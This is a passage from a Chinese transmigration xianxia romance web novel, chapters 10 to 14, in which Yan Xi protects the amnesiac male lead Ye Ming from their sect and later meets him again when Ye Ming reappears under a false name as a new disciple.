何况原主这一身修为根本就是外强中干的绣花枕头,欺负年幼的男主尚可,遇到真正的战斗就不够看了。 果不其然,那魔修很快缓过气来,顶着一头正在熊熊燃烧的秃发,暴怒着追了上来:“偷袭就罢了,还敢烧老子头发,耍这种阴险小人手段我看你才是魔修吧?!老子杀了你!” 晏兮边跑边回头,再次大喊:“叶暝!” “呵,还想骗我?”魔修狞笑着,“同样的伎俩用第二次可就——” 话音未落,一道携带浓郁黑气剑光自身侧划过! 魔修脸上的狞笑凝固,头颅高高飞起,在空中燃烧成一团火球,倒入血泊彻底咽气之前,眼底还残留着难以置信的神色。 叶暝的身影鬼魅般显现,他甚至不清楚自己这柄剑从何而来。 在瞥见晏兮遇险的瞬间,心急如焚的他只是本能地一伸手,这柄魔气缭绕的黑剑便已在掌中。 血液飞溅其上,被剑身吞噬殆尽。男人执剑而立,周身散发的凛冽煞气足以冻结空气。 许是嗜血的本性被激发,叶暝胸口剧烈起伏着,视线落在不远处的晏兮身上。 灵核深处传来的细密刺痛,让他脑海中竟有一瞬间闪过一个危险的念头——就这么把他也砍了。 这念头来得突兀又暴戾,连叶暝自己都怔忡住了,回神后心底一片骇然:我疯了吗,他可是我的...... 穿着红肚兜的墩墩解决掉周围几个试图靠近的魔修小喽啰,迈着小短腿“哒哒哒”地从一块焦木后跳了出来,跑到晏兮腿边,仰起小脸,奶声奶气地邀功:“爹爹,你没事吧,墩墩做的好不好?” “爹爹?!”叶暝愕然抬眼。 晏兮:“......” 视线在晏兮和那神似他的孩童之间来回扫视,叶暝错愕万分,脑子里顿时其他什么想法都没了,思路跑偏道:“哪来的孩子,我俩的孩子?你不是一直推脱说我不行,如今怎么连孩子都造出来了?” 他根本不给晏兮开口的机会:“都说儿子像‘娘’,长得那么像你绝对是你生的,不可能是我生的。那我这两个月以来的隐忍算什么,耍我好玩?晏兮,你今天必须给我个交代!” “没有耍你好玩。”晏兮交代道,“虽然有了结果,但那个过程就是不太行。” 叶暝:“........” 眼看叶暝露出自尊心受伤的表情。 晏兮揣手手:除了这我还能给你什么交代,你非要问这个干嘛呢? 傀儡娃娃似乎能量耗尽,揉揉眼眶,打了个小哈欠:“好困哦~” 紧接着“砰”一下,动静太像放响屁了,在两人面前化作一缕青烟。 晏兮and叶暝:“............” 眼睁睁见那缕青烟消散,叶暝终于反应过来那应该是个法术造物。 他无语扶额:我也是疯了,男人怎么可能生孩子。 还没等他俩理顺这混乱的场面,一阵急促的脚步声和破空声传来,道玄清,风止,文澜以及其他听到动静赶来的弟子们纷纷抵达栖云峰。 文澜一眼看到那持剑而立的高挑少年,见叶暝活生生出现面前,惊得眼珠子都快瞪出来:“叶暝?你怎么还活着?!你不是早就应该死了吗?!”《 》 11、第十一章 此话一出,众人震惊的目光在叶暝和晏兮之间来回转悠,道玄清也惊讶叶暝还活着的事实,毕竟当初说要亲自了结叶暝的人是晏兮。 数把剑尖齐刷刷对准叶暝,叶暝冷眼扫视这群他根本不记得的昔日同门,手指往剑柄上搭了搭。 文澜见他这一副要动手的架势,更加笃定道:“果然是你这个叛徒引来的祸患,你是不是和魔域串通好的,竟还敢出现在陨星山!” 道玄清:“兮儿,这是怎么回事?” 晏兮担心的场面还是来了,他将叶暝挡在身后,上前解释:“师尊,长老,此次魔族来犯与叶暝无关,他对此事并不知情。” 道玄清:“你怎知他与此事无关?” 晏兮:“因为事发前后他都与我在一起。” 众人哗然。 “你早知他没死?”风止气得吹胡子瞪眼,“纵然此次不是他亲自作为,魔修会攻上山也都是为了他,还有上回这厮打上山门,伤了那么多弟子可都是你亲眼所见!” 晏兮无辜摊手,那咋了,我又搞不定他。 “为何不上报!” 晏兮缩起嘴皮子,我没长嘴。 风止长老看得眼皮疯狂抽搐:“......” 晏兮死猪不怕开水烫,正思索要不要狡辩两句抢救一下,一直仇视叶暝的文澜注意到晏兮视线定在晏兮身上,尤其是那受伤的脖颈。 “大师兄你受伤了,是谁干的?是不是叶暝这个臭小子胁迫你了你才帮他说话?!” 见晏兮脖颈上的刀痕明显,文澜直接脑补出一出晏兮被叶暝挟持被迫为其说话的戏码,箭步冲到晏兮身前,“大师兄你别怕他,有掌门和长老在定能护你周全!当初就觉得他就那么死了太便宜他,这次定要将这个祸害就地正法!” 道玄清周身灵力开始凝聚,叶暝也握紧了手中魔剑准备应对,晏兮思索完毕,决定先站叶暝这边,闪身插.入道玄清和叶暝之间,两人凝聚的攻击险些收势不及波及到他。 道玄清还未及担忧,就听见叶暝怒吼出声:“你疯了?!不要命了!” 这一声怒吼情真意切,道玄清掐诀的动作不自觉一顿,抬眼见叶暝伸手似乎要去扶晏兮,被晏兮往掌心轻拍了下,示意自己无碍。 “师尊,长老,诸位师弟师妹,我与叶暝从前有些误会,并非包庇。”晏兮面向道玄清等人,“他上次打伤弟子冒犯师尊是不对,但他也是逼不得已,有苦衷的。” 道玄清:“是何苦衷?” “他受了魔域中人的蛊惑。” 远在魔域的大反派并不知晓自己顶了口大锅,晏兮继续哔哔叭叭:“当今魔尊阎枭最擅长迷惑人心智,叶暝只是被利用了,并非本性如此。” 系统说过男主死了都得死,为了苟住性命,晏兮只得这般胡诌。 叶暝侧目望晏兮。 他不记得过去的事情,也不知晏兮此番话的真假,原以为身份暴露后,这人会如之前所言撇清关系,不会管他死活,可晏兮是那样口不对心。 让晏兮这般不遗余力地维护自己,叶暝仅能想到一个理由——他是如此的爱我。 “叶师弟当初是我负责管教的,我最了解他的秉性。”晏兮扫向人群中欲言又止的风轻絮,“师弟他本性不坏,只是受魔尊蛊惑,误入歧途,罪不至死。” 这话像极当初风轻絮质问晏兮时说的话,风轻絮果然跳出来附和:“大师兄说得没错!爹爹,掌门师尊,绝对是有误会的,阿暝他不可能是恶人!” 风止皱眉呵斥:“轻絮,休得胡闹!” “我没有胡闹!” “纵有天大的误会,他修魔功伤门中弟子总是事实,若就此作罢,谁给那些受伤的弟子们交代?”风止厉声,“晏兮,你让开,让他自己站出来说!枉你唤他一声师弟,他如今只知躲你身后,当真懦夫行径!” 少年傲气。 这话可踩中了叶暝的逆鳞。 他本就不是什么好脾气的主,当即扯出个冷笑,便要提剑上前,晏兮再次将他拦在身后,“长老瞧您这话说的,师弟不依仗师兄,那我这个师兄岂不是白做了?” 老家伙。龙傲天失忆了也是龙傲天,若不是我拦着,你几条命都不够活的,居然还敢挑衅,是上回被砸墙上还不够吗?晏兮心说自己以后老了才不要这样。 “至于交代,自然是去找罪魁祸首魔尊阎枭讨要,叶师弟如今失去了记忆,便是想问也问不出什么。” 这段话里护犊子的意味明显,文澜简直不敢相信自己的耳朵。起初他拜入陨星山,便是瞻仰晏大师兄风采,是“晏兮”的忠实拥趸,分明记得以前大师兄对叶暝是各种瞧不上,现今态度为何会一百八十度大转变? “大...大师兄,你是不是被这小子灌了什么迷魂汤,还是他胁迫于你?”文澜颤颤巍巍。 晏兮只淡声:“我很清醒。” 将这一切看在眼底的叶暝默然垂眸。 事态僵持,既是发生陨星山之上,最终应由掌门定夺。 道玄清终究还是认为风止所言在理。叶暝修炼魔功,攻上陨星山是事实,不能因其失忆便一笔勾销。 “兮儿,你让开。” 眼看道玄清还是要动手,晏兮非但没让,反而将叶暝护得更紧:“如果师尊一定要处置叶暝,那请您先处置我吧。” 众人:“???!!!” 风止两眼一黑,风轻絮惊愕捂嘴。 道玄清也沉眉:“兮儿,你知道你在说什么吗?” 晏兮:“弟子知道。” 【叮!男主对宿主信任度提升5%,当前信任度75%,积分+1000】 晏兮:“照师尊您这么说,当初偷偷饶恕叶暝将他藏于栖云峰的我同样有罪。我对师尊说了谎,欺瞒了宗门上下,恳请师尊将我一并处罚。” 【叮!男主对宿主信任度提升10%,当前信任度85%,积分+2000】 晏兮:翻倍回本了,爽! 众弟子何曾见过这般场面,在晏兮一番以退为进之下,道玄清终是无奈地散去周身灵力:“罢了。” 晏兮心中一松:“师尊?” 文澜却急了:“掌门,您就这么放过这个魔域宵小了?风止长老,您说句话啊!” 风止虽心有不甘,但念在晏兮方才出手救了风轻絮的份上,最终也只气愤地一甩袖袍,没再出言反对。 晏兮本已做好受罚的准备,反正他可以用积分兑换一次痛觉屏蔽,无所吊谓。见此情景,不禁感叹掌门对原主未免太好了! “你方才击退魔修,救护同门,才立了功,我若此时处置你,岂非赏罚不明?”道玄清叹息着笑道,似乎对这位爱徒感到格外头疼。 然,死罪可免,活罪难饶。 “叶暝确已失忆,今日之事暂不追究,但若其魔性不改,他日我必亲手诛之。”道玄清道,“叶暝当初既已叛出师门,便不再是我派弟子,你也无需再称他为师弟。” 后半句是对晏兮说的。 显然,这是要叶暝离开陨星山的意思了。 叶暝抱臂冷嗤,断定晏兮绝不会答应,要晏兮离开自己的道侣?简直是痴心妄想,也太小看他们之间的感情了。 谁知晏兮丝毫不带犹豫的:“是,弟子这就叫他拱出去。” 叶暝:“......” * “师兄,你当真要赶我走?” “现在喊师兄是不是晚了点?” 陨星山门口,夜色更深。 晏兮急急忙忙推着叶暝往外走:“你还嫌事情闹的不够大吗,趁现在掌门还没有改变主意,你赶紧离开,去,去去!” 被赶着走,叶暝神色更加落寞,而晏兮面上虽没什么特别情绪,其实心底可兴奋了。 目前叶暝对他的信任度高达85%,主线任务虽然没有完成,但也没有失败期限,相当于卡了bug。只要叶暝不突然恢复记忆就不会有事。 唯一的坏处可能就是暂时赚不到更多积分,但晏兮会在乎这点积分?真要买那能保命的天价道具得攒到猴年马月?也就够他换些小法术,在男主杀到时该死的还是得死。 当务之急,是在叶暝恢复记忆前在宗门搜寻能保护自己的实用法门或法宝,如果实在找不到,晏兮眼神慈爱地转叶暝的后脑勺,那就别怪他心狠手辣把叶暝敲成植物人。 晏兮倒不担心不会得手,今天的信任度加成有了显著效果,瞧,摸龙傲天的脑袋相当于摸老虎屁股,可他现在胡噜摸着叶暝的头,叶暝虽然表情不适应,却对他不设防。 届时他假装下山偶遇,再像现在这样靠近并抚摸他的头,叶暝肯定想不到自己会被偷袭。 晏兮感觉自己像个老阴比,但人不为己天打雷劈,他只是想活命罢了。 “你把我当小孩对待吗,晏兮。”感受着头顶那只手的温度,叶暝语气复杂。 “你不刚才还唤我师兄?你年纪本就比我小,我这么对待你不行?” 叶暝不接话茬,指尖轻点晏兮脖颈,先前那道刀伤留下的血痕以肉眼可见速度愈合,“你不仅是我师兄,还是我的道侣,你觉得你当真赶得走我?” “别闹,就是暂时避避风头,以后又不是见不到了。”晏兮算盘打得很好,假意表现出不舍得他的样子,“多谢。” “不必,真要谢的话,不如付出些实际行动。” 叶暝眼底幽幽瘆亮,“哪有人只顾着摸道侣上面那个头?下边也该照拂一下。” 晏兮:“......?” 我耳朵脏了。 身后猝然传出动静,像有人摔一跟头,晏兮连忙示意噤声。 明火术照亮后方,只见风轻絮踉跄走下石阶,就差在脸上写“我听到了你们的对话”。 晏兮:“...小师妹,你怎么来了?” 风轻絮发了好几秒呆,才恍惚答道:“大师兄,我来送送阿暝。” “好,那你们聊,快去快回。”晏兮忙不迭转身,尴了个大尬。 叶暝想叫住他,晏兮却一溜烟跑没影了,叶暝抿紧唇,风轻絮走到他身边,斟酌着问他:“阿暝你还好吗,我刚才不是故意听见你们说话的,你和大师兄之间......” 叶暝冷不丁问风轻絮,为什么只要想到晏兮,心口如此之痛。 风轻絮眨眨眼,道:“那你念其他人的名字呢。比如念我的名字,会有这种感觉吗?” 叶暝细细感受了一下,果断道:“没有,只有晏兮。” “那就是了,我果然没猜错!”风轻絮激动说,“我就知道你和大师兄之间存在误会,我从未见过大师兄如此袒护一个人,阿暝你喜欢上了大师兄了吧,这就是心动的感觉啊!” 叶暝怔然,心动? 晏兮,晏兮。 叶暝抚上心口,难怪...... 难怪每次默念这个名字,灵核都仿佛经历刀绞般的痛楚。 原来,竟是因为心动。《 》 12、第十二章 【叮!系统提示,男主信任度提升至90%,积分+2000】 晏兮:“又涨了?男主又脑补了什么,行了别涨了,再涨这bug卡不住了!” 【宿主你也太没干劲儿了,我以前绑定的其他宿主都在卷生卷死赚积分,你倒好,就想着卡bug躺平~】 “那后来呢,他们都成功完成任务活下来了?”晏兮这才发现自己似乎对这个系统知之甚少,“说起来,你还带过别的世界?” 【没有呢,我只带过这一个世界。】确切说是有叶暝的世界就会有它的存在。系统道:【最后当然是全死光光啦~!】 倘若那些旧宿主最后在龙傲天手底活了下来,也压根轮不到晏兮穿书。由此可见任务难度地狱级。 “...那你说个屁。”卷生卷死的下场还是死,那卷了干嘛? 晏兮懒得再和这个骚系统掰扯,当务之急是修缮揽月居。好歹是个名门正派大师兄,连个安稳觉的地方都混不上这合理吗? 系统:【是否需要一键还原栖云峰原貌,承惠五千积分~】 晏兮:“好啊你!把我当冤大头坑是吧,五千积分你怎么不去抢?” 陨星山被烧毁得七七八八,只有栖云峰恢复如初会很奇怪,不如借此机会去掌门那里演一波,说不定还能捞点好处。 抵达主殿,道玄清果然有货,掏出一小袋灵石递给晏兮,“先拿着应应急。” 掂量了下感觉有点少,晏兮眼巴巴地抬头,“敢问师尊,还有吗?” 旁边的风止长老白眼翻上天,那表情分明在说:得寸进尺! “兮儿,此次魔族来犯,宗门各处损毁严重,库房也捉襟见肘,这些你先用着。”道玄清透露道,“三个月后陨星山举行招新大典,紧接着便是仙盟大会。你若能在仙盟大会上夺得前三甲,皆有丰厚灵石奖励。” 仙盟大会? 依照书中剧情,脚下的陨星山此时早应是一片焦土——原主被叶暝手刃,掌门生死不明,风轻絮被收入后宫,风止长老修为尽废,弟子们四散零落。 在仙盟的通缉下,叶暝化名“叶执渊”,以散修之姿现身仙盟大会。他凭借绝对实力碾压全场,夺得魁首,但因无门无派,功法诡谲而遭到质疑和围攻,最终正式与仙盟决裂,将大会搅了个天翻地覆。 如今剧情跑偏,这仙盟大会还不知会演变成什么样。 拿着那一小袋灵石,晏兮勉强在栖云峰的废墟上搭了个小屋,得先有个能睡的地儿。瞧出原先郁郁葱葱如今却被烧得光秃秃的山林,他思索须臾,问一旁帮忙施展木系法术稳固房屋的弟子: “这位师弟,可知哪里能买到树种?” 那弟子恭敬答道:“大师兄想买什么树种?” “唔,像丹樱,桃花之类?” 晏兮想象了一下,再过几月即是寒冬,等来年春天,栖云峰上花数盛放,那景象定然很美。 大师兄方才经历恶战,人却不见半分狼狈。 墨发雪肤,如玉锁骨。一身粉袍曳地,恰似株鲜活的娇艳芳菲,美得惊心动魄。 那弟子被他容光所摄,悄悄红了脸,言语间不由有些吞吐:“大师兄若要买灵植种子,山下集市倒是有的卖,只是这类花木种子的价格向来...呃......” 见那弟子面露难色,好吧,晏兮知道了,必然死贵。 * 三月后,初冬。 栖云峰上,一间简陋小屋在寒风中瑟缩。 屋内四壁萧然。一截白皙皓腕从床上拱起的被褥中伸出,如同玉笋破雪,胡乱在枕边摸索两下,拽过被角便更紧地蒙住了头。 美人贪暖,困意正浓,却反复被外边愈来愈响的鼎沸人声吵醒。 晏兮窝在被子里团成虫,不满地探出脑袋,发出几声迷糊又娇气的咕哝:“大清早的,有没有搞错——?” 住处简陋就是有这弊端,栖云峰如今光秃秃的毫无遮挡,那些外界传过来的动静简直是直冲耳膜。 偏生又不能一直屏蔽听感,因为这样膳堂喊开饭,晏兮会听不到。 无能狂怒一小会儿,晏兮打算翻个身,继续睡。 【宿主,今天是陨星山六年一度的开山纳新大典,你不去看看吗?】 若不是系统提醒,他都快忘了今天什么日子,迷糊的精神为之一振,这等热闹岂能错过?自然是得去瞧瞧。 寒流从身体两畔走过,晏兮立于剑上,远远望见大典现场乌泱泱的一片,前来参加的少年少女们多得跟下饺子似的。 按照陨星山以往规矩,新弟子需先测灵根,再经过层层试炼,综合考量后才能决定去留以及投入哪位师长门下。 然而,短短半年内历经两次魔族入侵,宗门损失惨重,人手和资源都捉襟见肘,标准也一降再降——只需通过简单的入门试炼,测灵根时只要不是毫无资质的凡人,哪怕是杂灵根也能留下做外峰弟子。 晏兮姗姗来迟,到达高台时,道玄清和风止早已端坐其上。除去他们,还有一位精通炼丹制药的女仙长。据说常年在外云游。今天是晏兮穿书后头一回见。 “哟,架子不小,又让长辈等你一个。” 风止老阴阳师了。 “风姿长老此言差矣。”晏兮步伐不停,衣摆一拂,轻巧地在他旁边的空位落了座,笑吟吟道,“您看,这不正好赶上么?一刻不晚,恰是时候。” “...你称呼我什么?” “嘴瓢了。” 风止冷哼,扭头就对道玄清说:“瞧瞧你教的这好徒儿!不刻苦修炼便罢,成天只想着顶嘴,真是愈发没规矩。” 道玄清但笑不语。晏兮存了心膈应风止,当着他的面捏住鼻子,风止果然黑脸:“你这是什么意思?!” “鼻子有点痒,捏捏而已,长老您以为什么意思?”晏兮无辜说着,目光转向台下,看到正在朝他高兴招手的风轻絮,也灵活地抖了抖四指打招呼。 风止气到恨不得用鼻孔朝他喷气。 身侧突兀地传来“咯咯咯”的笑。晏兮越过风止瞧过去,只见那女仙长一副像是要笑抽了的表情,把大腿拍得啪啪响。 测灵根环节正式开始。 面前排队的长龙蔚为壮观,晏兮好奇地伸长脖子张望,这些都是在入门试炼中表现尚可的弟子。旁边的执事弟子每念一个名字,就有一名新弟子上前,把手放在一块通体碧青的测灵玉石上。 一名弟子将手放上去,玉石闪烁了一下、两下、三下,光芒稳定下来。 台下弟子小声议论:“是三灵根啊,还算可以吧。” 晏兮看得有点懵,在脑子里问系统:【这闪几下是啥意思?】 系统尽职解释:【闪一下代表五灵根,属于杂灵根,修炼到炼气五六层基本就到头了;闪两下是四灵根,中下资质,筑基困难;闪三下是三灵根,是原先陨星山招收弟子的最低门槛。不过目前陨星山放宽要求,四灵根也可收录当内门弟子。】 原来如此,晏兮听明白了。以此类推,闪四下双灵根,五下单灵根,不闪就是无修仙资质的凡人。 测试继续进行。 “张三,金火土三灵根,内峰保留。” “李四,金木双灵根,内峰保留。” “赵五,杂灵根,外峰保留。” 道玄清温和地对晏兮说:“兮儿,你也到了该收徒的年纪了,今日若有合适的苗子,不妨留意,收个弟子传承衣钵。” 晏兮差点把脑浆摇飞出去:“不不不,师尊,弟子修为浅薄,自己尚且需要勤加修炼,岂敢误人子弟,还是算了。” 开玩笑,带徒弟多累?无偿加班的事他才不干。 台下,新弟子们紧张地交流。 “兄弟,你以前偷偷测过灵根吗?” “没有,但我娘说我从小就聪慧,有仙缘,少说也得是个双灵根!” “哈哈,上一个像你这么自信的,测出来是杂灵根。你要真有信心,怎么不说是单灵根啊?” “单灵根哪有那么容易?我觉得只要不是杂灵根,不是太差,努力一把总有机会筑基的。你看高座上那位大师兄,听闻最初也是以三灵根入门的呢。” “三灵根能结丹?那得是百万里挑一的例外了吧?!” “唉,兄弟,我瞧你在入门试炼时身手不凡,对自己有信心不?能测个双灵根吗?” 被问到的是个少年。 身着黑衣,气质凛冽,从头到尾一直沉默抱臂,仿佛没听见又或者根本懒得搭理,连个眼神都欠奉。 “嘁,什么态度。”问话的弟子自讨没趣,翻了个白眼。 测试进行了大半,一个单灵根都没出现。这倒也正常,单灵根乃凤毛麟角,哪能轻易现世。 时间久了,高台上晏兮支着脑袋,被单调的报名声催得百无聊赖。昨晚花10积分让系统在他脑子里下载小游戏供他玩了一宿,今早压根没睡好。 终于轮到那位态度冷漠的黑衣少年上前。 “嘁,我倒要看看他能测出什么资质的灵根,才能这么傲。” 少年撩起眼皮,目光似不经意扫过高台上那道打着瞌睡的粉色身影,随即敛眼上前,将手虚虚按在测灵玉石上。 玉石毫无反应。 时间一点点过去,玉石始终沉寂。 负责登记的弟子看了看名册,又看了看毫无动静的玉石,清清嗓子,准备宣布结果:“叶溯光,无修仙资质,无缘仙——” 话音未落。 随着那少年微微扯起唇角,原本无动于衷的玉石仿佛被注入某种能量,霍然凶猛闪烁起来,一下、两下、三下、四下、五下!变幻之快,令人瞠目结舌。 在闪了整整五下之后,玉石并未像其他人那样稳定下来,反而通体变得赤红,紧接着“轰”一声巨响,在众目睽睽下炸了个粉碎! 这变故将在场众人都惊了呆,也将高台上昏昏欲睡的晏兮震醒。 上次出现此等异状是在六年前,而当时让测灵玉石不堪重负而炸裂的人,是—— 晏兮心中一震,转向那黑衣少年方向,谁知那少年也正目不转睛地看着他,两人视线于半空相撞。 晏兮对上了双深暗一片的眼。《 》 13、第十三章 六年前测灵玉石爆裂,是因其无法承受叶暝灵核中卓绝的天赋,而今日之景,不过是他灵脉尽毁后借魔息伪装出的假象。 以叶暝如今实力,真要认真起来,掌门都未必是他对手,捏爆个法器轻而易举。 满片死寂中,文澜第一个跳出来质问:“你是叶暝?!” 道玄清和风止看向叶溯光的眼神瞬息变得锐利。 然经过执事弟子对所有新弟子的背调,叶溯光的身份文书,籍贯来历,甚至左邻右舍的证言都一应俱全,显示他就是在山下一个普通小镇长大的少年,直到十六岁来参加宗门选拔。 ——滴水不漏,过于完美,恰恰成了问题所在。 晏兮敢拿屁股打包票,这黑衣少年就是叶暝。十八岁已经够嫩了,还故意报小两岁,装嫩! 不过这伪装从逻辑上也说得通。仙门招生下至十岁,上至半百,只要满足基本条件皆可参加,但通常拥有能震碎测灵玉石这般惊世天赋的人,绝大多数在很小的年纪就会被发现不凡,早早引入仙途。但凡叶溯光报高两岁,即便十八岁入门不算晚,也不符合天生异象的绝世天才的发展路径。 文澜见对方不答,更加大声道:“叶暝!你居然还敢回来?!” “这位同门,我不明白你的意思,谁是叶暝?”黑衣少年似不解道。 文澜气极:“谁和你是同门?!” “我既已通过入门试炼,测灵结果也证明我并非无资质者,按规矩自然可以入陨星山,成为你的同门。” 这话确实在理,文澜被噎得脸红脖子粗,一时找不到话来反驳。 晏兮莫名觉得这幕有点眼熟,这一个暴跳如雷一个冷静拆台,怎么那么像自己和风止长老的日常? 他心说还怪好笑的嘞,察觉那道来自台下的视线落回自己身上。 少年目光炯炯,晏兮身体后仰。 坏了。他高坐台上,一身黑的龙傲天在台下直勾勾盯着他,这场景要不要和他穿书第一天被龙傲天追杀的情景那么像啊! 哪怕龙傲天失去了记忆,眼下也换了一张气质相似但截然不同的面孔,骨子里还是那个人,那种无形中带来的压迫感不会变。晏兮看天看地看左看右,就是不跟叶暝对视。 “不是,这玉石炸了,后面的人怎么测啊?”排在叶溯光身后的弟子茫然发问。 药修女仙长温和开口,声音传遍全场:“不必担心,测灵根玉石宗门自有备用。” 很快,弟子们便抬上来一块崭新的测灵玉石。执事弟子向高台恭敬请示:“掌门,各位长老,那这叶溯光是留是去?” 道玄清沉吟。按照招生规矩和刚才展现的结果,此子天赋异禀,理应留下。况且,叶溯光的身份背景查不到任何纰漏,叶暝似乎也没有特地伪装身份,大费周章重回陨星山的理由。 若叶暝真意图不轨,三个月前就不会那么老实地离开,三个月里修真界也风平浪静,未见任何与他相关的风波。 道玄清:“兮儿,你认为呢?” 被少年盯得如坐针毡的晏兮:“掌门师尊决定便好,不必问我。” 咋回事呢,总觉得男主的心情似乎不太好? 也不像恢复记忆的样子。 那干嘛一直盯着我看啊? 晏兮支着下巴偏开脸。 道玄清风止和女仙长三人无声地交换眼神,显然在用灵念传音交流。 片刻后,执事弟子高昂的声音再次响起:“——叶溯光,保留。” “因天姿卓绝,经长老们一致决定,收入掌门道玄清座下!” 此言一出,满场皆惊。 高台之上,晏兮支着下巴的手一滑。 包括晏兮,所有人都明白过来这意味着什么。 这黑衣少年从这一刻起,便与他这位掌门首席大弟子成了一脉相承且名正言顺的直系师兄弟。 * 测灵根环节有惊无险地继续下去。 结束后,那瞧叶溯光不顺眼的弟子仿佛全然忘了刚才的不愉快,变脸似的凑上前,热情地询问叶溯光要不要一起去看看分配给新入门弟子的住处? 结果依然没有被理会。 对方将他无视了个彻底。 “什么臭脾气,这人未免太心高气傲!” “能怎么办,他确实有那实力和天赋啊,同辈之中谁都入不了他的眼吧?” “包括晏大师兄?” “肯定啊,这种天赋怪说不定都想取代晏大师兄,自己当掌门首徒呢。” 真能嘴,六年前原主怕是听了这些才决定往死里整叶暝的吧? 晏兮懒懒打了个哈欠,本来还想回去睡个回笼觉,看来是不成了。 走在光秃秃的山路上,他停住脚步,“出来吧。” 身后只有风吹过枯枝的声响。 “别装了,我知道你在。” 晏兮转身,看到叶溯光从树后走出来。 “晏师兄怎猜到是我?” “根本不需要猜,就是你。” 测灵根玉石爆炸可是龙傲天男主的专属高光时刻,真当单灵根的弟子是遍地走的大白菜吗?加之哪有刚入门的新弟子会对栖云峰地形如此熟悉,能这么准确地尾随他上来,你就差把“我是叶暝”四个大字写脸上! 叶暝似笑非笑,“是吗,那晏师兄可真聪颖。” 一口一个晏师兄,晏兮不自在道:“干嘛这么喊我,感觉怪怪的。” 除了那双紧盯着自己的眼睛亮得惊人,叶暝脸上几乎没有多余的表情,晏兮越发肯定,男主今天的心情确实很不美妙。 他刚想问一句你怎么了。 “好,那不这么喊。”下一秒,两个字从叶暝唇齿吐出,“晏兮。” 被猝不及防喊全名,晏兮心提了起来。 叶暝道:“这三个月里,你一次也没来找过我呢。是不是只要我不来找你,你就忘记了我这个道侣,永远不会来找我了?” 少年步步逼近,洞黑如深渊的眼眸隐隐瞧出些许怒气,牢牢锁住晏兮有些闪躲的视线,“说啊,你知道我很在意你吧,为什么不来找我?固然身为陨星山大师兄,再忙也不可能连一天时间都抽不出来,何况你根本不忙!” 成天吃饭睡觉打游戏的晏兮:瞎说什么大实话。 我不找你你才应该庆幸知道吗,我要真主动找你了,那天就是你成为植物人的大喜日子! 随着叶暝阴沉着脸逼近,晏兮不断倒退,脚跟不慎绊到块焦黑的石头,后背眼看就要撞上身后树干—— 一只手掌及时垫在了他的后脑勺与树干之间。 阴影垂落,感觉到后脑勺压在叶暝坚实的掌心上,晏兮心中一慌,生怕叶暝会顺势捏爆他的头,急忙就想直身后撤,然后因为动作太猛,慌乱间非但没拉开距离,整个人反而向前一栽,撞进了叶暝怀里。 叶暝:“......” 晏兮:“.......” 叶暝下意识收紧手臂。 晏兮闭眼崩溃:啊啊啊蠢爆了! 他被烫到似的推开叶暝,撤开好几步远。叶暝瞧出晏兮这迫不及待拉开距离的举动,脸色以肉眼可见的速度沉下去。 “是我做错什么了吗,还是说,你对我已经厌倦了?因为我害你的栖云峰变成这样,所以你不要我了?” 【系统提示,男主对宿主信任度90%,黑化值+20。】 这新增的黑化值什么鬼?! 死脑快想啊,死嘴快编啊! “当然不是,我不是不想去找你,我只是,呃,你看看这栖云峰——” 指着周围的断壁残垣,晏兮让叶暝的视线跟随他落在这片狼藉之上,“我现在一无所有,连住处都成了这副模样......我是不好意思下山去见你,怕你会嫌弃我!” 对,怕嫌弃。 就这么编! 这番以退为进,将自己放在一个卑微又深情的位置,果然戳中了叶暝。 后者面上阴云散去大半,眼神转为错愕:“你在说什么!我怎么会嫌弃你,你为什么会这么想?” 见这法子奏效,晏兮仰起脸,语气真挚,“我这些天一直在想,下旬的仙盟大会是个机会,倘若我能赢得名次就能获得不少灵石奖励,到时候全都给你。” 此前在栖云峰叶暝就观察到自己这位道侣对灵石颇为看中,是个小财迷。 闻言心中狠狠颤动。 “你,当真是这么想的?” “真的愿意把对你来说那么重要的东西,全都给我?” 当然是假的,只是为了哄你。 但晏兮点头,说真的,“我本来就打算月底去山下见你的,没想到你会以这样的方式先一步来到我面前。” “叶暝,我真的很惊喜。” 叶暝盯着晏兮的脸看了好半晌,唇角扬起弧度,明显被哄好了。 “不必觉得惊喜,是我...是我自己想赶快见到师兄。” 分离三个月,积攒的思念如野草疯长。周遭风景凋敝,可在叶暝眼中,面前这人眉眼鲜活,白皙的皮肤在灰败背景的映衬下愈发显得水灵剔透。 他喉结不自觉地滚动了一下,忍不住又伸出手臂揽住了晏兮的腰肢,感受手底下纤细柔韧的触感。 “原来是我误会了师兄,师兄,对不起呀。”将人往自己怀里带了带,叶暝低头凑近晏兮耳边,“师兄,我好想你,你呢,这三个月,你有想我吗?” 艹啊!能不能别总动手动脚,我们很熟吗?! 哦,名义上好像是很熟,毕竟是道侣——艹啊! 感觉到叶暝的视线透露出欲,在他侧脸和脖颈处流连不去,晏兮硬着头皮:“......想啊。” 叶暝甚为满意。 紧接着,察觉到对方的气息再次靠近,晏兮预判一般,当即抬手挡住那靠近的下半张脸,“干嘛呢?” “亲亲啊,师兄你不是说想我了吗,你要证明给我看。” “......开什么玩笑,这可是在外面!” “上次亲,也是在外面。” 少年意有所指,晏兮想起先前草坪上那个意外之吻,“这次和上次能一样吗?” 上次是意外! “招新大会刚结束,人多眼杂。栖云峰现在烧成这样,什么遮挡都没有,万一被哪个路过的弟子看见就完了,你忘记陨星山门规最忌讳断袖了吗?” 面对他紧张兮兮的样子,叶暝虽然还是有些不满,但听到门规,想起晏兮之前为了维护他们地下关系的辛苦,那点不满终究化为了委屈。 他扁扁嘴:“好吧。” 这副神情出现在他脸上,倒有了几分符合年纪的少年气。 见他不执着于亲密接触了,晏兮刚松口气,就听叶暝又提出了新的要求:“那师兄,我能搬过来吗?” “你瞧,我被赶出去换了身份还能回来做你的师弟,连老天爷都想让我离得你近些。” 什么歪理,分明是你自己找过来的。 晏兮:“不行。” 叶暝:“为何不行?” 当然是因为不想和你共处一室! 晏兮不回答他的话,转身兀自进了自己那间小破屋。 “不理我吗?” “师兄?” “其实我还是好奇师兄怎么一眼认出我的,毕竟连模样都换了。不过你不说我也知道答案,是因为师兄喜欢我,我们心有灵犀,对吧?” 叶暝整个人仿佛浸在粉红色泡泡里,对着那扇紧闭的木门,揶揄地低笑起来: 果然说中了,都害羞了。 远处,一缕黑色魔气浮于高空,犹如蛰伏的毒蛇窥伺了这一切后,悄无声息地汇入云层。《 》 14、第十四章 膳堂内,弟子们一边用膳一边交换着最新消息。 “听说了吗?掌门座下终于又开放了一个徒弟名额!” 